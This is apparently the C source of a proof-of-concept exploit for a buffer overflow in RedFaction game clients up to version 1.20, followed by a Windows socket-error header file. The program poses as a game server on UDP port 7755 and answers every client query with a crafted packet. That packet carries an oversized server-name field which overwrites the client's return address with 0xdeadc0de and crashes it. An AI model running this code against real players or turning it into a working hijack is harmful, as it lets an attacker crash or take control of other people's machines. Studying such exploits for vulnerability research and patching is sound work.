/*

by Luigi Auriemma

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 7755
#define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de

void std_err(void);

int main(int argc, char *argv[]) {
int sd,
on = 1,
psz;
struct sockaddr_in peer;
u_char *buff,
info[] =
"\x00\x01" // packet number
"\x00\x00" // packet size - 4
"\x89" // version (x89 = 1.20)
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes)
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
RETADDR "\0"
"\x00" // type of game
"\x01" // players
"\x08" // max players
"Relentless\0" // mapname
"\x00" // dunno?
"\x00"; // password:
// 4 = yes, 0 = none

setbuf(stdout, NULL);

fputs("\n"
"RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);

printf("\nBinding UDP port %u\n", PORT);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, psz)
< 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();

*(u_short *)(info + 2) = sizeof(info) - 5;

printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);

fputs("\nClients:\n", stdout);
while(1) {
if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
< 0) std_err();

printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));

if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
fputs("BOOM\n", stdout);
}

close(sd);
return(0);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
--------------------------------------------------------------------------------------------------
//winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}